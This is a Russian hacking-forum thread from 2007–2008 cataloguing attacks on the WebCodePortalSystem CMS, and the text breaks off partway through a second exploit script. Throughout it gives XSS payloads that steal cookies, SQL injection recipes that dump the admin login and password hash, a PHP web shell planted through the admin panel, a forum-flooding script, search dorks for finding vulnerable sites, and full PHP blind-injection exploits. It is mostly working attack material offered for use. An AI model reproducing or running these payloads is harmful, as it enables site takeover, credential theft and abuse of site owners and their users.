[ Обзор уязвимостей WCPS ]

Discussion in 'Веб-уязвимости' started by Dr.Z3r0, 6 Oct 2007.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Уязвимости WebCodePortalSystem:

    WebCodePortalSystem <= 3.7.1 - SQL инъекции, Пассивные XSS (c) Dr.Z3r0
    WebCodePortalSystem <= 3.8.3.1 - Общая информация, Активная XSS, SQL инъекция (+видео), Способ заливки шелла (c) Grey
    WebCodePortalSystem <= 4.0.1 - Активная XSS (c) Grey
    WebCodePortalSystem <= 4.0.1 - SQL инъекция (c) Grey
    WebCodePortalSystem <= 4.0.1 - Флудилка форума (c) Grey
    WebCodePortalSystem <= 4.0.1 - Пассивная XSS, SQL инъекция (c) Dr.Z3r0
    WebCodePortalSystem <= 4.0.1 - сплойт под SQL инъекцию (c) Dr.Z3r0
    WebCodePortalSystem <= 4.1 - SQL инъекция: "понижение прав админа" (+видео) (с) Grey
    WebCodePortalSystem <= 4.1 - Пассивные XSS (c) Dr.Z3r0
    WebCodePortalSystem <= 4.1 - Активная XSS (с) Grey
    WebCodePortalSystem <= 4.1 - Локальный инклуд, Пассивная XSS (c) Macro
    WebCodePortalSystem <= 4.2.1 - Пассивные XSS (c) Dr.Z3r0
    WebCodePortalSystem <= 4.2.1 - Перезапись переменных (c) Dr.Z3r0
    WebCodePortalSystem <= 4.2.1 (4.2.2) - Небольшая статья про использование XSS: "Создание привилегированного пользователя..." (+снифер, +видео) (с) Grey
    WebCodePortalSystem <= 4.2.1 - Активная XSS (c) Dr.Z3r0
    WebCodePortalSystem <= 4.2.1 (4.2.2) - Пассивная XSS (с) Grey
    WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Macro
    WebCodePortalSystem <= 4.3 - SQL инъекция (+сплойт) (c) Dr.Z3r0
    WebCodePortalSystem <= 4.3 - Пассивная XSS (с) Grey
    WebCodePortalSystem <= 4.3.1 - Пассивные XSS (c) Dr.Z3r0
    WebCodePortalSystem <= 4.3.1 - Локальный инклуд (c) Dr.Z3r0
    WebCodePortalSystem <= 4.3.1 - Пассивная XSS (с) Grey
    WebCodePortalSystem <= 4.3.1 - Льём шелл... (с) Grey
    WebCodePortalSystem <= 4.4.1 - Remote include (+сплойт) (с) Dr.Z3r0
    WebCodePortalSystem <= 4.4.2 - SQL injection (с) Dr.Z3r0
    WebCodePortalSystem <= 4.4.3 - SQL injection (с) Dr.Z3r0
    WebCodePortalSystem <= 5 - SQL injection (с) Dr.Z3r0

    Уязвимости дополнительных модулей WebCodePortalSystem:

    AvtoBloger V2.0 - Пассивная XSS (c) Dr.Z3r0
    Cates v1.0 - SQL инъекция (+сплойт) (c) Dr.Z3r0
    NewsTematic 1.1 - Пассивные XSS (c) Dr.Z3r0
    mod_BigNews1.1/Mod download sql inj - Пассивные XSS/SQL инъекция (c) gibson

    =============== =============== =============== ===============​

    WebCodePortalSystem
    http://wcps.ru/

    Насчет версий не знаю. Точно уязвима версия 3.7.1 именно в ней я баги и нашел. Проверял около полгода назад только сейчас руки дошли опубликовать...

    Mysql-injection: Параметр User-agent в заголовках пакетов фильтруется только на drop, delete, union, char, benchmark

    Mysql-injection: Параметр xxxxxxxxx_id_wcps в Cookie не фильтруется никак. Уязвимый скрипт: aut.php

    XSS:
    Code:
    http://test2.ru/php/wojs.php?tit=xss</title><body onload=javascript:alert('xss')>
    http://test2.ru/php/wojs.php?name_titl=xss</title><body onload=javascript:alert('xss')>
    http://test2.ru/php/wojs.php?inflang=alert('xss');
    http://test2.ru/php/wojs.php?type=alert('xss');
    http://test2.ru/php/wojs.php?bord=');alert('xss');('
    http://test2.ru/php/wojs.php?bg=');alert('xss');('
    http://test2.ru/php/wojs.php?bgz=');alert('xss');('
    http://test2.ru/php/wojs.php?zag=');alert('xss');('
    http://test2.ru/php/wojs.php?txt=');alert('xss');('
    http://test2.ru/php/wojs.php?fs=');alert('xss');('
    http://test2.ru/php/wojs.php?cnt=');alert('xss');('
    http://test2.ru/php/wojs.php?wd=');alert('xss');('
    http://test2.ru/php/wojs.php?tit=');alert('xss');('
    http://test2.ru/php/wojs.php?simage=');alert('xss');('
    http://test2.ru/php/wojs.php?hover=');alert('xss');('
    http://test2.ru/php/wojs.php?vdata=');alert('xss');('
     
    #1 Dr.Z3r0, 6 Oct 2007
    Last edited: 31 May 2011
    3 people like this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem <= v. 3.8.3.1

    [ОБЩАЯ ИНФОРМАЦИЯ]

    Стандартный префикс - wc_
    Тип хеша - md5(password)
    Таблица с пользователями - [префикс]_user

    Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1
    Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3.8.3.1
    Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=&aq=t&oq=

    [УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)]

    [1] [Активная XSS]

    Нет фильтрации в referer е, формируем пакет:

    Code:
    GET /index.php HTTP/1.1
    Host: test2.ru
    Referer: http://<IMG SRC=javascript:alert('test');>
    Connection: close
    Далее при просмотре страницы Статистика - Переходы видим выполнение скрипта.

    [2] [SQL инъекция]

    Уязвим скрипт гостевой книги, скрипт add.php

    Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее:

    ',version(),'','1','1')#

    Символ # так же как и /* - символ конца строки

    Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм).
    Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки:

    ',(select"123"),'','1','1')# - будет выведенно 123

    К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти.

    И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос:

    PHP:
    mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','$eigburl    МЫ ВНЕДРЯМСЯ ЗДЕСЬ    ','$eigbtext$attach_text','','$eiloggedstatus','$eigbsname')
    Единственый параметр который мы можем изменить в этом запросе (после параметра с адресом сайта) это текст сообщения - $eigbtext$attach_text, но в нем, как и вдругих кавычки фильтуруются, но использовать кавычки не обязательно, вводим следующее:

    URL вашего сайта: ',/*
    Текст сообщения: */version(),null,3,3)#

    И вот как будет выглядеть запрос:

    PHP:
    mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','',/*','*/version(),null,3,3)
    Мешающие нам ',' будет закаментированно (ровно как и все что после #). Да и кстати проблема с пробелами тоже решена - что существенно упрощает построение подзапроса.

    И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя):

    Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)#
    Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)#
    URL вашего сайта (в обоих случаях): ',/*

    !!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!!
    !!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!!


    [В АДМИНКЕ]

    [Раскрытие абсолютного пути]

    В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP»

    Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP»

    [Заливка шелла]

    1. Через sql запрос.

    Создаем файл с запросом, к примеру файл 1.sql:

    select 'код шелла' into outfile 'абсолютный путь/shell.php';

    Получаем шелл:

    http://site.ru/shell.php

    2. Через редактирование меток

    «Метки», к примеру метка METKA_STATUS

    Добавляем следующий код:

    PHP:
    $kod_shella = '<?php system($HTTP_GET_VARS["cmd"]); ?>';
    $file_shell = fopen("shell.php", "w");
    fputs($file_shell, $kod_shella);
    fclose($file_shell);
    Получаем шелл:

    http://site.ru/shell.php?cmd=[cmd]

    Или инклудим шелл, тогда код:

    PHP:
    include('Адрес до шелла');
    И получаем его на главной странице:

    http://site.ru/
     
    #2 Grey, 13 Dec 2007
    Last edited by a moderator: 25 Jul 2011
    13 people like this.
  3. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v.4.0.1

    [Активная XSS]

    Достаточно быстро залатали предыдущие уязвимости, но латали на скорую руку, судя по всему, и активная XSS попрежнему осталась, хотя с ней будет немного больше проблем чем было раньше, но это уже мелочи.

    Для обхода филтра воспользуемся вот этим удобным скриптом с помощью которого можно обойти многие фильтры:

    http://ha.ckers.org/xss.html#XSScalc

    Закодируем нашу строку:

    javascript:alert('test'); -> Character Encoding Calculator -> вводим сюда скрипт: ASCII Text -> и получаем его здесь Decimal Value: HTML (without semicolons): -> &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#116&#101&#115&#116&#39&#41&#59

    Формируем пакет:

    Code:
    GET /index.php HTTP/1.1
    Host: test2.ru
    Referer: http://<IMG SRC=[COLOR=Yellow]&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#116&#101&#115&#116&#39&#41&#59[/COLOR]>
    Connection: close
    
    
    Отправляем его и видим результат работы скрипта на страничке со статистикой:

    Статистика -> Переходы
     
    #3 Grey, 21 Dec 2007
    Last edited by a moderator: 25 Jul 2011
    4 people like this.
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v.4.0.1

    [SQL инъекция]

    Заходим в новости, открываем любую - опция "Читать", дальше видим надпись "Оценить:".
    Лезем в исходник страницы (имеется виду html страницы) к примеру в Опере Вид - Исходный текст

    Находим строчку:

    Code:
    <option value="1">1</option>
    И заменяем её на:

    Code:
    <option value="1,title=(select user_login from wc_user where id=2),photocor=(select user_pass from wc_user where id=2),ntext=null,phototext=null,kritery=null">1</option>
    Нажимаем "Применить изменения", после чего выбираем кол-во баллов равное 1, и нажимаем Оценить.

    Все теперь если просматривать новости, то в место заголовка текущей новости будет логин админа, а текст новости - хеш его пароля.
     
    #4 Grey, 22 Dec 2007
    Last edited by a moderator: 25 Jul 2011
    2 people like this.
  5. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem v.4.0.1

    [Флудилка форума]

    Проверка с картинками сделана криво - после авторизации на форуме вводить символы с картинки не нужно... Вот состряпал две версии флудилки - одна работает медлено, вторая быстрее (но могут не все темы создаваться (к примеру 4-5 из 100 могут не создасться)).

    Первая версия:

    PHP:
    <?php
    //--Отредактируйте эти данные-------------------------------

    $host 'test2.ru'// Хост
    $port '80'// Порт
    $dir '/'// Директория

    $forum_id '1'// Номер раздела форума

    $cook '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'// Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

    $tema_name '6666687'// Название темы
    $tema_mess '5555587'// Текст сообщения темы

    $kol '10'// Количество тем, которые будут созданы

    //-----------------------------------------------------------
    // ================
    // Coded by Grey
    // ================

    $path $dir.'index.php?nma=forumd&fla=new';
    $ref 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

    $len1 strlen($tema_name);
    $len2 strlen($tema_mess);

    for(
    $i 0$i $kol$i++)
    {
    $s fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

    $tema_name .= ($i+1).($i+8);
    $tema_mess .= ($i+1).($i+4);

    $data 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
    $len_data strlen($data);

    $headers "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
    fputs($s$headers);
    while(!
    feof($s))
    {
    $out_data .= fgets($s);
    }
    $out_data '';
    $tema_name substr($tema_name,0,$len1);
    $tema_mess substr($tema_mess,0,$len2);
    fclose($s);
    echo(
    'Otpravleno soobchenii : '.($i+1)."\r\n");
    }

    ?>
    Вторая версия:

    PHP:
    <?php
    //--Отредактируйте эти данные-------------------------------

    $host 'test2.ru'// Хост
    $port '80'// Порт
    $dir '/'// Директория

    $forum_id '1'// Номер раздела форума

    $cook '36b8e776d_wcps=af6709cdabc23cdbbb445ac7066f4291'// Ваши куки. Не забудьте отредактировать! Всего в куках две записи, вам нужна только эта - так в которой лежит сессия!!!

    $tema_name '6666687'// Название темы
    $tema_mess '5555587'// Текст сообщения темы

    $kol '10'// Количество тем, которые будут созданы

    //-----------------------------------------------------------
    // ================
    // Coded by Grey
    // ================

    $path $dir.'index.php?nma=forumd&fla=new';
    $ref 'http://'.$host.$dir.'index.php?nma=forumd&fla=new&action=theme&forum='.$forum_id;

    $len1 strlen($tema_name);
    $len2 strlen($tema_mess);

    for(
    $i 0$i $kol$i++)
    {
    $s fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');

    $tema_name .= ($i+1).($i+8);
    $tema_mess .= ($i+1).($i+4);

    $data 'action=ok_thema&forum='.$forum_id.'&names='.$tema_name.'&avtor=4&texts='.$tema_mess.'&uved=1&attach_sig=1&referer=topic';
    $len_data strlen($data);

    $headers "POST $path HTTP/1.1\r\nHost: $host\r\nReferer: $ref\r\nCookie: $cook\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len_data\r\n\r\n$data\r\nConnection: close\r\n\r\n";
    fputs($s$headers);
    $out_data .= fgets($s);
    $out_data '';
    $tema_name substr($tema_name,0,$len1);
    $tema_mess substr($tema_mess,0,$len2);
    fclose($s);
    echo(
    'Otpravleno soobchenii : '.($i+1)."\r\n");
    for(
    $i2 0$i2 20000000$i2++)
    {
    }
    }

    ?>
    Юзаем так:

    1) Редактируем в скрипте данные (указываем адрес, номер раздела, !!!и не забываем сессию!!!).

    2) Ну а дальше просто юзаем скрипт:

    php c:\wcps_forum_flood.php
     
    5 people like this.
  6. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    WebCodePortalSystem v.4.0.1

    XSS
    Начнем с XSS так как она более юзаема. Находится она в файле mod/comment/index.php в самом конце. Вот уязвимый код:
    Code:
    if ($nma=='comment'){
            echo '<center>
    <a href='.$portal_subdir.'/index.php?nma=catalog&fla=tema&cat_id='.$cat_id.'&page='.$page.'> '._STATINDEX_.'</a>
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;
    <a href='.$portal_subdir.'/index.php?nma=catalog&fla=stat&cat_id='.$cat_id.'&nums='.$ids.'>'._BACKSTAT_."</a>\n";
    }
    переменная $ids проходит фильтрацию, но не значитильную и как ни странно в фильтре запрещенно слово alert o_O... Ну и вот собственно эксплоит:
    Code:
    http://test2.ru/index.php?nma=comment&fla=index&ids=sssssssssss%20onClick=document.write(document.cookie)

    SQL injection
    Скажу сразу иньекция после order by, что оказывает к сожалению весьма пагубное влияние на ее юзаемость. Описывать сильно не буду она того не стоит. Вот так она выглядит:
    Code:
    http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
     
    #6 Dr.Z3r0, 27 Dec 2007
    Last edited: 31 May 2011
    1 person likes this.
  7. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem V4.1 (новая версия) + ВИДЕО

    !!! [Понижение прав админа] !!!

    Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция.

    В файле mod/comment/ --> add.php <--

    Есть запрос вида:

    PHP:
    MYSQL_QUERY("update `".$wcpref."$tbl` SET $ncomment=$ncomment+1 where id='$per4'");
    Очень классно если учесть, что параметры $tbl, $ncomment и $per4 мы можем менять...

    Получаем возможность увеличить содержимое любой колонки на 1.

    Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля user_uroven на 1 тем самым изменив права пользователя (понизить права).

    Права админа: user_uroven = 1
    Права пользователя: user_uroven = 3

    Значит нам нужно будет провести операцию два раза - но это не проблема.

    ---------Как делать--------------

    Заходим в "Новости", выбираем какую нидь новость (нажимаем "Читать") -> "Добавить комментарий".

    Дальше лезем в исходник страницы (в Опере: Вид -> Исходный текст).

    Находим вот такую форму:

    Code:
            <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
            <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
            <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>[email protected]</b></TD></TR>
            <TR class=even><TD colspan=2>Комментарий:</TD></TR>
            <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
            <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
            <TR class=odd><TD> </TD><TD>
            <input type='hidden' name='per4' value="25">
            <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=25">
            <input type='hidden' name='mod' value="news">
            <input type='hidden' name='ncomment' value="comments">
            <input type='hidden' name='tbl' value="news_stat">
            <input type='submit' value="Добавить"></TD></TR>
            </form>
    И меняем её следующим образом:

    Code:
            <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
            <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
            <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>[email protected]</b></TD></TR>
            <TR class=even><TD colspan=2>Комментарий:</TD></TR>
            <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
            <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
            <TR class=odd><TD> </TD><TD>
            <input type='hidden' name='per4' value="[COLOR=DarkOrange][B]2[/B][/COLOR]">
            <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=[COLOR=DarkOrange][B]2[/B][/COLOR]">
            <input type='hidden' name='mod' value="news">
            <input type='hidden' name='ncomment' value="[COLOR=Red][B]user_uroven[/B][/COLOR]">
            <input type='hidden' name='tbl' value="[COLOR=Red][B]user[/B][/COLOR]">
            <input type='submit' value="Добавить"></TD></TR>
            </form>
    Сохраняем изменения и добавляем коммент (текст коммента не имеет значения - что угодно).

    Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с id = 2 (в данном случае) в поле user_uroven значение увеличится на 1.

    Как я уже сказал выше нужно что бы значение было равно 3, а не 2. По этому проделываем операцию еще раз.

    Все - пользователь больше не админ.

    Видео:

    http://rapidshare.com/files/79874554/heck3.rar.html
     
    #7 Grey, 29 Dec 2007
    Last edited: 29 Dec 2007
    9 people like this.
  8. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    WebCodePortalSystem V4.1

    Ну вот очередная порция багов. Две XSS:
    Code:
    http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>
    Code:
    http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[1']=1'<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>
     
    #8 Dr.Z3r0, 6 Jan 2008
    Last edited by a moderator: 8 Jan 2008
    1 person likes this.
  9. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    WebCodePortalSystem V4.1

    Активная XSS:

    Code:
    GET /index.php HTTP/1.1
    Host: test2.ru
    Referer: http://<body onLoad=eval("ale"+"rt(documen"+"t.cookie)")>
    Connection: close
     
    #9 Grey, 6 Jan 2008
    Last edited: 8 Jan 2008
    2 people like this.
  10. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Локальный инклуд
    /php/print_news.php?_SESSION[tema_scan][templates_wcinfoview.php]=1&portal_skin=[some_local_script]%00


    Пассивная XSS
    Code:
    /php/wojs.php?inflang=document.write(unescape(/%253C%2573%2563%2572%2569%2570%2574%253E%2561%256C%2565%2572%2574%2528%2527%2558%2553%2553%2521%2521%2521%2527%2529%253B%253C%252F%2573%2563%2572%2569%2570%2574%253E/));
     
    #10 Macro, 6 Jan 2008
    Last edited by a moderator: 7 Jan 2008
    1 person likes this.
  11. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Пассивная XSS в модуле(!) AvtoBloger V2.0
    Code:
    http://test2.ru/index.php?nma=blog&fla=news&cat=1&name_cat[1]=bla&ids=1&masivs[1']=s"></a><body onLoad=eval("ale"+"rt(documen"+"t.cookie)")><t g="
     
    1 person likes this.
  12. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    SQL injection в модуле Cates v1.0

    Собственно уязвимость нахотся в файле mod\cates\stat.php а уязвимый код выглядит так:
    Code:
    @$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
    if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}
    Никаких проверок ни у referer ни у User-Agent и о какое счастье вывод ошибки в запросе. Да я согласен отсутствие вывода огорчает, но, написав небольшой эксплоит, можно таки очень легко поиметь сайт на этой цмс. Ну и сам эксплоит вот:
    Code:
    <?php
    /*----------------------------------------*\
    Експлоит для модуля Cates v1.0 к cms WCPS
    Автор: Dr.Z3r0
    \*----------------------------------------*/
    $set['host']='test2.ru';//Хост с CMS WPCS
    $set['patch']='';//Путь к WCPS без слеша на конце!
    $set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
    $set['prefix']='wc_';//Префикс таблиц в БД
    //----------------------------------------//
    
    set_time_limit(0);
    
    function create_packet($num,$sumb,$znak,$column='user_pass'){
    	global $set;
    	$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
    	
    	$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
    	$header.="Accept-Language: en-us,en;q=0.5\r\n";
    	$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    	$header.="Referer: ".$tmp."\r\n";
    	$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
    	$header.="User-Agent: 1\r\n";
    	$header.="Connection: keep-alive\r\n";
    	$header.="Host: ".$set["host"]."\r\n\r\n";
    	
    	return $header;
    }
    
    function logg($str){
    	echo($str.'<br>'."\r\n");
    	flush();
    }
    
    $ret='';
    logg('<b>'.$set['host'].'</b>');
    logg('Выдираем хеш...');
    for($i=1;$i<=32;$i++){
    	$sred=0;
    	$tmp='';
    	$i2=0;
    	$i3=0;
    	$znak='>';
    	$mins=0;
    	$maxs=255;
    	while(1){
    		if($maxs-$mins>3){
    			$sred=round(($mins+$maxs)/2);
    		}else{
    			$sred=$mins+$i2;
    			$znak='=';
    			$i2=$i2+1;
    			if($mins>$maxs)break;
    		}
    		$header=create_packet($i,$sred,$znak);
    		$dt='';
    		$fp=fsockopen($set['host'], 80);
    		fwrite($fp, $header);
    		while(!feof($fp)){
    			$dt.=fread($fp, 1024);
    		}
    		fclose($fp);
    		
    		if(substr_count($dt,'Subquery returns more than 1 row')){
    			if($znak==='>')$mins=$sred+1;
    			else if($znak==='='){
    				$ret.=chr($sred);
    				break;
    			}
    		}else{
    			if($znak==='>')$maxs=$sred;
    		}
    		if($i3>20)break;
    		else $i3++;
    		if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
    	}
    }
    if(empty($ret))die('Не получилось :(');
    logg('Хеш: <b>'.$ret.'</b>');
    logg('Выдираем логин...');
    $ret='';
    
    for($i=1;$i<=25;$i++){
    	$sred=0;
    	$tmp='';
    	$i2=0;
    	$i3=0;
    	$znak='>';
    	$mins=0;
    	$maxs=255;
    	while(1){
    		if($maxs-$mins>3){
    			$sred=round(($mins+$maxs)/2);
    		}else{
    			$sred=$mins+$i2;
    			$znak='=';
    			$i2=$i2+1;
    			if($mins>$maxs)break;
    		}
    		$header=create_packet($i,$sred,$znak,'user_login');
    		$dt='';
    		$fp=fsockopen($set['host'], 80);
    		fwrite($fp, $header);
    		while(!feof($fp)){
    			$dt.=fread($fp, 1024);
    		}
    		fclose($fp);
    		
    		if(substr_count($dt,'Subquery returns more than 1 row')){
    			if($znak==='>')$mins=$sred+1;
    			else if($znak==='='){
    				$ret.=chr($sred);
    				break;
    			}
    		}else{
    			if($znak==='>')$maxs=$sred;
    		}
    		if($i3>20)break;
    		else $i3++;
    	}
    	if(substr_count($ret,chr(0))){
    		$ret=str_replace(chr(0),'',$ret);
    		break;
    	}
    }
    if(empty($ret))die('Не получилось :(');
    logg('Логин: <b>'.$ret.'</b>');
    logg('Готово');
    ?>
     
    #12 Dr.Z3r0, 11 Jan 2008
    Last edited: 31 May 2011
    4 people like this.
  13. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Множественные XSS в модуле NewsTematic 1.1

    Тут следует обратить внимание на файл php/wojs.php поставляемый вместе с модулем. Как можно заметить данный файл присутствует и в самой cms и в последних версиях этой cms этот файл не уязвим, но в модуле данный файл взят из более ранних версий, и при установке данного модуля неуязвимый файл меняется на другой-уязвимый, что приводит к большому количеству XSS. На всякий случай я повторю сплоенты:
    Code:
    http://test2.ru/php/wojs.php?tit=</title><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?name_titl=</title><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?inflang='></script><script>alert(document.cookie)</script><d d='
    http://test2.ru/php/wojs.php?type='></script><script>alert(document.cookie)</script><d d='
    http://test2.ru/php/wojs.php?inflang=alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?type=alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?bord=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?bg=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?bgz=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?zag=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?txt=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?fs=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?cnt=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?tit=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?simage=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?hover=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?vdata=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
    http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
     
    3 people like this.
  14. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Эксплоит к SQL injection в WCPS v 4.0.1
    Вот сама уязвимость:
    Code:
    http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
    Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
    PHP:
    <?php
    /*----------------------------------------*\
    Експлоит для  cms WCPS v4.0.1
    Автор: Dr.Z3r0
    \*----------------------------------------*/
    $set['host']='test2.ru';//Хост с CMS WPCS
    $set['patch']='';//Путь к WCPS без слеша на конце!
    $set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
    $set['prefix']='wc_';//Префикс таблиц в БД

    $set['catid']='2';//Номер группы статей
    $set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
    $set['catnm2']='Как повысить цитируемость';//Название последней статьи
    //----------------------------------------\\
    set_time_limit(0);

    function 
    create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
        global 
    $set;

        
    $tmp='http://'.$set['host'].$set['patch'];    
        
